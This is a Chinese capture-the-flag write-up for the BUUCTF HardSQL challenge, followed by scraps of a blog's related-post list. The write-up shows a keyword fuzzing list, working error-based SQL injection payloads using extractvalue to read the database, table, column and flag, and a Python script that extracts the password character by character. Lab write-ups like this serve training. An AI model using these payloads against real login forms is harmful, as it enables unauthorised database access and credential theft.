[极客大挑战 2019]HardSQL-1
1、打开之后万能密码等均被过滤,那就先确定下过滤的内容,采用brup抓包进行爆破,发现对union进行了过滤,因此这里就没法使用联合注入,结果如下:
爆破得字典:
^
&
&&
|
||
and
And
anandd
AnanDd
or
Or
oorr
union
uNIon
ununionion
UnunionIOn
substr
length
ascii
=
>
/**/
(
)
<
select
selselect
SeleCT
updatexml
extractvalue
floor
limit
select
selselectect
concat
group
by
order
information_schema
tables
where
left
right
regexp
2、查看登录测试的爆破内容,发现正常的回返信息只有两种,因此这里没有办法采用bool注入,如下:
3、在测试闭合时发现sql语句错误时会返回错误信息(payload:username=admin&password='和username=admin&password='%23)而且在上面的爆破中显示用于报错注入的函数并没有被过滤,,因此这里想到了报错注入,结果如下:
4、确定报错注入和闭合方式后那就开始进行获取数据库名,passwd的payload:1'or(extractvalue(1,concat(0x7e,(select(database())),0x7e)))#,账户随便填,最终成功获取到数据库名称:geek,结果如下:
5、获取到数据库名称之后开始获取表名,passwd的payload:1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e)))#,账户随便填,最终成功获取到表名称:H4rDsq1,结果如下:
6、获取到数据库内的表名信息后,就开始获取列名信息,passwd的payload:1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e)))#,账户随便填,最终成功获取到列名称:id,username,password,结果如下:
7、获取到列明信息后那就直接读取表内的信息,passwd的payload:1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e)))#,但是因为extractvalue函数只能返回32位数据,因此返回的数据并不完整,结果如下:
8、这里的话如果substr未过滤的话可以通过substr函数进行两次读取获取完整的flag值,但是这里没法使用,这里只能采用另外的两种方式来获取flag值:
第一种:通过right函数,payload:1'or(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e)))#,成功获取到剩余的flag值,结果如下:
第二种:通过regexp函数,这个的原理是当正则匹配到flag值时可以正常返回已经读取到的32位flag值,当匹配错误时,则会返回密码错误,脚本代码如下:
脚本代码如下:
url地址是直接复制的地址栏的地址,所以存在的都是编码后的字符,其原始语句为:1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)where(password)regexp('^f')),0x7e)))#,可用payload:1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)where(password)regexp('^flag{5e0eabdd-83c3-466f-9e51-bb95d91d23ad}')),0x7e)))#,验证正则匹配方式的正确性,脚本如下:
import requests
import time
#去掉了大写字母,可手动加上,ABCDEFGHIJKLMNOPQRSTUVWXYZ
#未写停止判断,当判断到strings最后一位且flag未在其中时停止即可
strings = 'abcdefghijklmnopqrstuvwxyz1234567890{}-_~'
i = 1
flag = ''
while i < 80:
for one_char in strings:
one_char = flag + one_char
url = "http://4538af48-5b3e-451e-b6bf-565049f2caab.node4.buuoj.cn:81/check.php?username=12&password=1%27or%28extractvalue%281%2Cconcat%280x7e%2C%28select%28password%29from%28H4rDsq1%29where%28password%29regexp%28%27%5E"+str(one_char)+"%27%29%29%2C0x7e%29%29%29%23"
time.sleep(0.05)
rs = requests.get(url)
if 'flag' in rs.text:
flag = one_char
print("\r", end="")
print('flag为:' + flag, end='')
break
[极客大挑战 2019]HardSQL-1的更多相关文章
- [极客大挑战 2019]HardSQL
0x00 知识点 报错注入 链接: https://www.cnblogs.com/richardlee97/p/10617115.html 报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQ ...
- 刷题[极客大挑战 2019]HardSQL
解题思路 打开是一个登陆框,考点sql注入了,先正常尝试一波 发现居然是get类型 输入and发现有waf过滤,那fuzz一波看看过滤了什么 fuzz union被过滤,并且绕过union的几种方法同 ...
- [原题复现][极客大挑战 2019]HardSQL(updatexml报错注入)
简介 原题复现: 考察知识点:SQL注入(报错注入,绕过过滤) 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台 特别感谢!) 榆林学院内可使用信安协会内部的CTF训练平 ...
- [极客大挑战 2019]HardSQL updatexml报错注入小结
报错注入链接: https://www.cnblogs.com/richardlee97/p/10617115.html报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQL的官方说法,grou ...
- BUUOJ [极客大挑战 2019]Secret File
[极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...
- [原题复现][极客大挑战 2019]BuyFlag
简介 原题复现:[极客大挑战 2019]BuyFlag 考察知识点:php函数特性(is_numeric().strcmp函数()) 线上平台:https://buuoj.cn(北京联合大学公开 ...
- BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)
BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...
- 极客大挑战2019 http
极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...
- [BUUOJ记录] [极客大挑战 2019]RCE ME
前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...
- [极客大挑战 2019]FinalSQL
0x00 知识点 盲注 0x01 解题 根据题目提示盲注,随便点几下找到注入点 发现我们输入^符号成功跳转页面,证明存在注入 1^(ord(substr((select(group_concat(sc ...
随机推荐
- MAC M1安装多个JDK版本及动态切换
JDK版本下载 下载地址:https://www.azul.com/downloads/?package=jdk 筛选一下macOS的ARM 64-bit架构的JDK版本,下载对应版本即可.最好直接下 ...
- 渗透开源工具之sqlmap安装配置环境变量教程
由于计算机安全牵涉到很多方面,建议自己在服务器上搭建自己的靶场,如何搭建靶场请订阅并查看作者上期教程,这里作者先为大家推荐一个免费开源升级靶场:https://hack.zkaq.cn/ 在封神台 ...
- camunda BPM支持的开发和运行环境
以Camunda7.13版本为例,介绍Camunda支持的开发运行环境. 一.支持的Java开发环境 • Java版本: 8 / 9 / 10 / 11 / 12 / 13 / 14• Springb ...
- 腾讯QQ快捷登陆
腾讯QQ快捷 相关各语言对接qq快捷登录教程 [C#]QQ开放平台(QQ站外登录)_流程和源码示例 j2ee中实现QQ第三方登陆 web实现QQ第三方登录 asp.net网站接入QQ登录 php实现q ...
- Windows家庭版-添加Hyper-V
新建一个hyper-v.cmd文件,内容为 pushd "%~dp0" dir /b %SystemRoot%\servicing\Packages\*Hyper-V*.mum & ...
- node图片压缩的两员大将
一.ishrink 全局安装 npm i ishrink -g 1.按url方式压缩 本地图片地址 sk -u C:\Users\admin\Desktop\images\img 网络图片地址 sk ...
- 2分钟实现一个Vue实时直播系统
前言 我们在不敲代码的时候可能会去看游戏直播,那么是前台怎么实现的呢?下面我们来讲一下.第一步,购买云直播服务 首先,你必须去阿里云或者腾讯云注册一个直播服务.也花不了几个钱,练手的话,几十块钱就够了 ...
- 使用C++的ORM框架QxORM
QxORM中,我们用的最多的无非是这两点 官方表述是这样的: 持久性: 支持最常见的数据库,如 SQLite.MySQL.PostgreSQL.Oracle.MS SQL Server.MongoDB ...
- Windows启动谷歌浏览器Chrome失败(应用程序无法启动,因为应用程序的并行配置不正确)解决方法
目录 一.系统环境 二.问题描述 三.解决方法 一.系统环境 Windows版本 系统类型 浏览器Chrome版本 Windows 10 专业版 64 位操作系统, 基于 x64 的处理器 版本 10 ...
- RASP | 远程Java应用的RASP调试教程
远程Java应用的RASP调试教程 介绍 Java RASP是基于Java Agent技术实现的,而Java Agent代码无法独立启动,必须依赖于一个Java运行时程序才能运行. 如何调试一个Jav ...